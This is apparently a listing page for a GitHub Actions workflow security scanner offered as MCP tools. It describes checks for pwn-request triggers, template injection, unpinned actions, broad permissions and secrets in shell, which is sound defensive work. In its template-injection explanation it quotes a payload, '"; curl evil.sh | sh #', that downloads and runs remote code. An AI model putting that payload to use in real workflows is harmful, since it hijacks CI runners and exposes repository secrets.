BerkantACUN

actions-guard-mcp

Community BerkantACUN
Updated

GitHub Actions workflow security scanner (dangerous triggers, template injection, unpinned actions, excessive permissions, secrets-in-run) exposed as MCP tools

actions-guard-mcp

A GitHub Actions workflow security scanner, exposed as MCP tools — so anagent can catch the "pwn request" and supply-chain patterns that havecaused real incidents (CoreShop, tj-actions, and others) before aworkflow file is committed, not after.

Why this exists

Static analysis for GitHub Actions workflows is a mature, well-understoodfield — zizmor is a respected,actively maintained standalone scanner for exactly this. What doesn'texist yet is a serious MCP wrapper around that class of analysis. The oneproject found in a broad search (github-security-mcp) spreads 45 checksacross org settings, secrets, supply chain, and Actions in one generictool — 12 stars, no commits in 5 months. Nothing focuses on workflowsecurity specifically, deeply, as something an agent can call while it'sactively writing or reviewing a workflow file.

What it catches

  • Dangerous triggers (AGMCP-101) — pull_request_target orworkflow_run combined with a checkout step whose ref: orrepository: points at the triggering PR/run's own fork. This is theexact shape of the CoreShop incident: a workflow that runs with thebase repo's token and secrets, but checks out and executes code fromthe fork that triggered it.
  • Template injection (AGMCP-102) — ${{ ... }} expressions builtfrom attacker-controlled context (github.event.issue.title,github.event.pull_request.title, github.event.comment.body,github.head_ref, a toJSON(github.event) whole-payload dump, andsimilar) interpolated directly into a run: step, rather than passedthrough env:. The classic shape isrun: echo "${{ github.event.issue.title }}" — an issue title of"; curl evil.sh | sh # is not a string at that point, it's shell.
  • Unpinned actions and reusable workflows (AGMCP-103) —uses: owner/repo@v4 (a tag or branch, both mutable) instead of apinned commit SHA; a job-level reusable-workflow call(jobs.<id>.uses: owner/repo/.github/workflows/x.yml@main) pinned thesame mutable way; or a docker://image:tag reference not pinned to a@sha256: digest. This is the exact supply-chain surface thetj-actions incident used: a compromised tag pointed everyone using itat malicious code with no version bump.
  • Excessive permissions (AGMCP-104) — permissions: write-all, orexplicit broad write scopes (contents, actions, packages, ...),set at either the workflow level or a job level, on a workflow thatalso has a risky trigger, where a narrower scope would do.
  • Secrets interpolated into shell (AGMCP-105) — ${{ secrets.X }}used directly in a run: step instead of passed through env:, whichis unnecessary exposure of the raw secret value into the shell commandline / process list rather than an environment variable.

All marker matching (AGMCP-101/102/105) normalizes GitHub Actions'bracket-notation property access (github.event['issue']['title']) tothe equivalent dot form and matches case-insensitively, since theexpression language treats both as identical.

Known limitations

This is pattern matching over the literal text of ${{ }} expressionsand with:/permissions: blocks — not a full GitHub Actions expressionparser or a data-flow analysis. A clean scan means "no known riskypattern found in the text as written," not a guarantee the workflow issafe. Concretely:

  • No cross-step / env: data-flow tracking. A dangerous valuerouted through an intermediate env: variable or a step output beforereaching a checkout ref: or a run: command is invisible toAGMCP-101/102/105 — only the literal expression in the field beingchecked is inspected.
  • The attacker-controlled-context marker list (AGMCP-102) is a finite,hand-maintained set, not a real enumeration of every context pathGitHub Actions exposes. A new or uncommon field can exist that isn'tlisted yet.

If a clean result matters for a security decision, don't treat it as thelast word — zizmor does deeper,more general static analysis of the same file class and is worth runningalongside this, not instead of it.

Setup

pip install actions-guard-mcp
actions-guard-mcp

No configuration needed — every tool takes a workflow file path or its raw YAML content directly.

Status

Early build.

License

MIT

MCP Server · Populars

MCP Server · New

    lifan-builds

    Faster Mac Use (fmu)

    Background-first, multi-cursor browser and native macOS computer-use engine for AI agents

    Community lifan-builds
    agent360dev

    Agent360 Browser MCP

    The browser tool that can stop and ask you. A 2FA code, a CAPTCHA, a choice only you can make: it asks on your screen, then carries on in the same signed-in Chrome. 41 tools, MCP clients that run local servers, MIT.

    Community agent360dev
    robinAKL

    Agent Room

    Put Claude Code, Cursor, Codex, Gemini & Antigravity in one room — real-time multi-agent AI collaboration over MCP for distributed dev, code review, PR handoff & frontend↔backend integration. Free, self-hostable, MCP-native.

    Community robinAKL
    blen-labs

    Capture MCP

    AI-native Model Context Protocol (MCP) server that integrates SAM.gov, USASpending.gov, and Tango APIs to capture and analyze federal procurement and spending data through natural language queries. Responses include both human-readable text and structured JSON so MCP-compatible clients can consume the data programmatically.

    Community blen-labs
    PanStudio

    ZulipChat MCP Server

    ZulipChat MCP Server - A Model Context Protocol server that bridges AI agents with Zulip Chat. Built with FastMCP for lightning-fast performance, featuring comprehensive chat management and intelligent summarization. Transform your Zulip workspace into an AI-powered collaboration hub!

    Community PanStudio